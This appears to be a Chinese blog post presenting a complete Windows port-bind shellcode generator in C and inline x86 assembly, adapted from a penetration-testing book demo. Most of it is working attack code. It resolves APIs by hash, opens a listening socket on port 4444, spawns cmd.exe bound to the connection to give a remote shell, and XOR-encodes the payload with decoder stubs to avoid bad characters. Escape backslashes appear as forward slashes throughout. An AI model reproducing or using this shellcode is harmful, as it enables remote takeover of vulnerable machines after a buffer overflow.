我的Shellcode生成器

这个shellcode 生成器根据《网络渗透技术》中所带的示例改写,通过溢出堆栈缓冲区获得执行权限以后,将打开一个端口监听连接,创建一个新的进程运行cmd.exe,并把输入输出重定向到连接套接字,黑客通过客户端程序登录监听端口即可获得远程主机shell。

/* shellcode_port_bind.c
*
*  《网络渗透技术》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  监听端口的shellcode演示
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define DEBUG_INFO

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90/
     __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN

// kernel32.dll functions index
#define _LoadLibraryA           0x00
#define _CreateProcessA         0x04
#define _TerminateProcess       0x08
// ws2_32.dll functions index
#define _WSAStartup             0x0C
#define _WSASocketA             0x10
#define _bind                   0x14
#define _listen                 0x18
#define _accept                 0x1C
// data index
#define _port                   0x20

#define MAX_CODE_LEN            1024
#define MAX_HASH_SIZE           10

// functions number
#define _Knums                  3
#define _Wnums                  5

// Need functions
unsigned char functions[MAX_HASH_SIZE][32] =
{
    // kernel32
    {"LoadLibraryA"},       // [esi+_LoadLibraryA]
    {"CreateProcessA"},     // [esi+_CreateProcessA]
    {"TerminateProcess"},   // [esi+_TerminateProcess]
    
    // ws2_32
    {"WSAStartup"},         // [esi+_WSAStartup]
    {"WSASocketA"},         // [esi+_WSASocketA]
    {"bind"},               // [esi+_bind]
    {"listen"},             // [esi+_listen]
    {"accept"},             // [esi+_accept]
    
    // data
    {"port"},               // [esi+_port]
    {""}
};

unsigned char decode1[] =
/*
00401004   . /EB 0E         JMP SHORT encode.00401014
00401006   $ |5B            POP EBX
00401007   . |4B            DEC EBX
00401008   . |33C9          XOR ECX,ECX
0040100A   . |B1 FF         MOV CL,0FFh
0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99
00401010   .^|E2 FA         LOOPD SHORT encode.0040100C
00401012   . |EB 05         JMP SHORT encode.00401019
00401014   > /E8 EDFFFFFF   CALL encode.00401006
*/
"/xEB/x0E"
"/x5B"
"/x4B"
"/x33/xC9"
"/xB1/xFF"          // /xFF shellcode size
"/x80/x34/x0B/x99"  // /x99 xor byte
"/xE2/xFA"
"/xEB/x05"
"/xE8/xED/xFF/xFF/xFF";

unsigned char decode2[] =
/* ripped from eyas
00406030   /EB 10           JMP SHORT 00406042
00406032   |5B              POP EBX
00406033   |4B              DEC EBX
00406034   |33C9            XOR ECX,ECX
00406036   |66:B9 6601      MOV CX,166h
0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99
0040603E  ^|E2 FA           LOOPD SHORT 0040603A
00406040   |EB 05           JMP SHORT 00406047
00406042   /E8 EBFFFFFF     CALL 00406032
00406047 xx
*/
"/xEB/x10"
"/x5B"
"/x4B"
"/x33/xC9"
"/x66/xB9/x66/x01"      // /x66/x01 166h shellcode size 
"/x80/x34/x0B/x99"      // /x99 xor byte
"/xE2/xFA"
"/xEB/x05"
"/xE8/xEB/xFF/xFF/xFF";

// shellcode function
void shellcode_c(void)
{
 __asm
 {  
        PROC_BEGIN    //C macro to begin proc
  
        jmp     locate_addr

func_start:
        pop     edi                             ; get eip
        mov     eax, fs:30h
        mov     eax, [eax+0Ch]
        mov     esi, [eax+1Ch]
        lodsd
        mov     ebp, [eax+8]                    ; base address of kernel32.dll

        mov     esi, edi                        ; esi is base of hash table

        push    _Knums
        pop     ecx
get_kfunc_addr:         ; find functions from kernel32.dll
        call    find_hashfunc_addr
        loop    get_kfunc_addr

        push    3233h                           ; "32"
        push    5F327377h                       ; "ws2_"
        push    esp
        call    dword ptr [esi+_LoadLibraryA]   ; LoadLibraryA("ws2_32");
        mov     ebp, eax                        ; ebp is base address of ws2_32.dll

        push    _Wnums
        pop     ecx        
get_wfunc_addr:         ; find functions from ws2_32.dll
        call    find_hashfunc_addr
        loop    get_wfunc_addr
        
        add     edi, 4                          ; skip port variable

        sub     esp, 190h
        push    esp
        push    101h
        call    dword ptr [esi+_WSAStartup]     ; WSAStartup(0x101, &WSADATA[0x190 bytes!])

        push    eax                             ; DWORD dwFlags
        push    eax                             ; GROUP g
        push    eax                             ; LPWSAPROTOCOL_INFOA lpProtocolInfo
        push    eax                             ; int protocol
        push    1                               ; int type
        push    2                               ; int af
        call    dword ptr [esi+_WSASocketA]     ; WSASocketA(af,type,protocol,lpProtocolInfo,g,dwFlags)
        mov     ebx, eax                        ; SOCKET s

        xor     eax, eax
        push    eax
        push    eax                             ; sockaddr_in.sin_addr = 0.0.0.0
        mov     dx, word ptr [esi+_port]
        xchg    dl, dh
        ror     edx, 10h
        mov     dx, 0x0002
        push    edx                             ; sockaddr_in.sin_port = _port
        mov     edx, esp

        push    10h                             ; int namelen
        push    edx                             ; sockaddr * addr
        push    ebx                             ; SOCKET s
        call    dword ptr [esi+_bind]           ; bind(s, addr, namelen)

        push    1                               ; int backlog
        push    ebx                             ; SOCKET s
        call    dword ptr [esi+_listen]         ; listen(s, backlog)

        push    eax                             ; OUT int * addrlen
        push    eax                             ; OUT sockaddr * addr
        push    ebx                             ; SOCKET s
        call    dword ptr [esi+_accept]         ; accept(s, addr, addrlen)

        mov     ebx, eax                        ; SOCKET sc
        push    646D63h                         ; "cmd"
        lea     edx, [esp]                      ; LPSTR lpCommandLine = "cmd"

        sub     esp, 54h                        ; LPPROCESS_INFORMATION lpProcInfo
        mov     edi, esp

        push    14h
        pop     ecx
        xor     eax, eax
stack_zero:
        mov     [edi+ecx*4], eax                ; memset(lpProcInfo, 0, 14h)
        loop    stack_zero

        mov     byte ptr [edi+10h], 44h         ; lpProcInfo.cb = sizeof(si)
        inc     byte ptr [edi+3Ch]              ; lpProcInfo.dwFlags = 0x100
        inc     byte ptr [edi+3Dh]              ; 
        mov     [edi+48h], ebx                  ; lpProcInfo.hStdInput = sc
        mov     [edi+4Ch], ebx                  ; lpProcInfo.hStdOutput = sc
        mov     [edi+50h], ebx                  ; lpProcInfo.hStdError = sc
        lea     eax, [edi+10h]

        push    edi                             ; OUT LPPROCESS_INFORMATION lpProcInfo
        push    eax                             ; LPSTARTUPINFOA            lpStartupInfo
        push    ecx                             ; LPCSTR                    lpCurrentDirectory = NULL
        push    ecx                             ; LPVOID                    lpEnvironment = NULL
        push    ecx                             ; DWORD                     dwCreationFlags = 0
        push    1                               ; BOOL                      bInheritHandles = TRUE
        push    ecx                             ; LPSECURITY_ATTRIBUTES     lpThreadAttributes = NULL
        push    ecx                             ; LPSECURITY_ATTRIBUTES     lpProcessAttributes = NULL
        push    edx                             ; LPSTR                     lpCommandLine = "cmd"
        push    ecx                             ; LPCSTR                    lpApplicationName = NULL
        call    dword ptr [esi+_CreateProcessA] ; CreateProcessA(
                                                ;   lpApplicationName,
                                                ;   lpCommandLine,
                                                ;   lpProcessAttributes,
                                                ;   lpThreadAttributes,
                                                ;   bInheritHandles,
                                                ;   dwCreationFlags,
                                                ;   lpEnvironment,
                                                ;   lpCurrentDirectory,
                                                ;   lpStartupInfo,
                                                ;   lpProcInfo)

        xor     eax, eax
        push    eax                                 ; UINT uExitCode = 0
        dec     eax
        push    eax                                 ; HANDLE hProcess = 0xFFFFFFFF
        call    dword ptr [esi+_TerminateProcess]   ; TerminateProcess(hProcess,uExitCode)

        // void find_hashfunc_addr(void)
find_hashfunc_addr:
        push    ecx
        push    esi
        mov     esi, [ebp+3Ch]                  ; e_lfanew
        mov     esi, [esi+ebp+78h]              ; ExportDirectory RVA
        add     esi, ebp                        ; rva2va
        push    esi
        mov     esi, [esi+20h]                  ; AddressOfNames RVA
        add     esi, ebp                        ; rva2va
        xor     ecx, ecx
        dec     ecx
find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
hash_loop:
        movsx   edx, byte ptr [eax]
        cmp     dl, dh
        jz      short find_addr
        ror     ebx, 7                          ; hash
        add     ebx, edx
        inc     eax
        jmp     short hash_loop
find_addr:
        cmp     ebx, [edi]                      ; compare to hash
        jnz     short find_start
        pop     esi                             ; ExportDirectory
        mov     ebx, [esi+24h]                  ; AddressOfNameOrdinals RVA
        add     ebx, ebp                        ; rva2va
        mov     cx, [ebx+ecx*2]                 ; FunctionOrdinal
        mov     ebx, [esi+1Ch]                  ; AddressOfFunctions RVA
        add     ebx, ebp                        ; rva2va
        mov     eax, [ebx+ecx*4]                ; FunctionAddress RVA
        add     eax, ebp                        ; rva2va
        stosd                                   ; function address save to [edi]
        pop     esi
        pop     ecx
        retn

locate_addr:
        call    func_start

        PROC_END      //C macro to end proc
    }
}

// Get function hash
unsigned long hash(unsigned char *c)
{
    unsigned long h=0;
    while(*c)
    {
        h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
    }
    return h;
}

// print shellcode
void print_shellcode(unsigned char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    
    if( buffsize<=0 )
        return;

    fprintf(stderr, "/* %d bytes, port bind shellcode *//n",buffsize);
    for(i=0;i<buffsize;i++)
    {
        if( (i%16)==0 )
        {
            if( i!=0 )
                fprintf(stderr, "/"/n/"");
            else
                fprintf(stderr, "/"");
        }
        sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                fprintf(stderr, "%c", _tolower(*p));
            else
                fprintf(stderr, "%c", p[0]);
        }
    }
    fprintf(stderr, "/";/n");
}

// make shellcode
void make_shellcode(unsigned short BindPort,unsigned char sc_buf[],unsigned int &sc_len)
{
    char  *         fnbgn_str = "/x90/x90/x90/x90/x90/x90/x90/x90/x90";
    char  *         fnend_str = "/x90/x90/x90/x90/x90/x90/x90/x90/x90";
    unsigned char * pShcodeAddr;            // start of the shellcode
    unsigned char ShcodeBuf[MAX_CODE_LEN];// shellcode
    unsigned char   EncodeBuf[MAX_CODE_LEN];// shellcode with xor decoder
    unsigned long dwHash[MAX_HASH_SIZE];  // function name hash table
    unsigned int dwHashSize;             // function number
    unsigned int i,j,k,l;

    // Get functions hash
    for( i=0;; i++)
 {
        if( functions[i][0] == '/x0' )
            break;

        dwHash[i] = hash(functions[i]);
#ifdef DEBUG_INFO
        fprintf(stderr, "%.8X/t%s/n", dwHash[i], functions[i]);
#endif
    }
    dwHashSize = i*4;

    // Deal with shellcode
    pShcodeAddr = (unsigned char *)shellcode_c + ((*(int *)shellcode_c) >> 8) + 5;

    // Find start of shellcode
    for ( k=0; k<MAX_CODE_LEN; ++k )
        if( memcmp( pShcodeAddr+k, fnbgn_str, 8)==0 )
            break;
    pShcodeAddr += k+8;    // start of the shellcode
    
    // Find end of shellcode
    for ( k=0; k<MAX_CODE_LEN; ++k)
        if( memcmp(pShcodeAddr+k,fnend_str, 8)==0 )
            break;
    sc_len = k;       // length of the shellcode
    
    // Copy shellcode to Buff
    memcpy(ShcodeBuf, pShcodeAddr, sc_len);

    // Add functions hash
    memcpy(ShcodeBuf+sc_len, (unsigned char *)dwHash, dwHashSize);
    sc_len += dwHashSize;

    // Modify port
    memcpy( &ShcodeBuf[sc_len-4], &BindPort, 2 );

    // print shellcode
    print_shellcode(ShcodeBuf, sc_len);

    // find xor byte
    for( i=0xff; i>0; i-- )
    {
        l = 0;
        for( j=0; j<sc_len; j++ )
        {
            // 编码以后不能出现的字符
            if( ( (ShcodeBuf[j] ^ i) == 0x00 ) ||
    ( (ShcodeBuf[j] ^ i) == 0x0D ) ||   // cr
    ( (ShcodeBuf[j] ^ i) == 0x0A ) ||
    ( (ShcodeBuf[j] ^ i) == 0x26 ) ||    // %
    ( (ShcodeBuf[j] ^ i) == 0x3d ) ||    // =
    ( (ShcodeBuf[j] ^ i) == 0x3f ) ||    // ?
    ( (ShcodeBuf[j] ^ i) == 0x40 ) ||    // @
    ( (ShcodeBuf[j] ^ i) == 0x5C ) )
            {
                l++;
                break;
            };
        }

        if ( l==0 )
        {
            printf("Use XOR Byte: 0x%02X/n", i);

            for(j=0; j<sc_len; j++)
            {
                ShcodeBuf[j] ^= i;
            }

            break;  // break when found xor byte
        }
    }

    // No xor byte found
    if ( l!=0 )
 {
        sc_len  = 0;
#ifdef DEBUG_INFO
        fprintf(stderr, "No xor byte found!/n");
#endif
    }
    else
 {
        if (sc_len > 0xFF) // use decode2
  {
            *(unsigned short *)&decode2[8] = sc_len;
            *(unsigned char *)&decode2[13] = i;

            memcpy(EncodeBuf, decode2, sizeof(decode2)-1);
            memcpy(EncodeBuf+sizeof(decode2)-1, ShcodeBuf, sc_len);
            sc_len += sizeof(decode2)-1;
        }
        else     // use decode1
  {
            *(unsigned char *)&decode1[7]  = sc_len;
            *(unsigned char *)&decode1[11] = i;

            memcpy(EncodeBuf, decode1, sizeof(decode1)-1);
            memcpy(EncodeBuf+sizeof(decode1)-1, ShcodeBuf, sc_len);
            sc_len += sizeof(decode1)-1;
        }
    }

    memcpy( sc_buf, EncodeBuf, sc_len );
}

void shellcode_main(void)
{
    unsigned char shellcode_buf[MAX_CODE_LEN];
    unsigned int  shellcode_len = 0;

    make_shellcode( 4444, shellcode_buf, shellcode_len );
    print_shellcode( shellcode_buf, shellcode_len );

    __asm
    {
        lea    eax, shellcode_buf
        jmp    eax
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值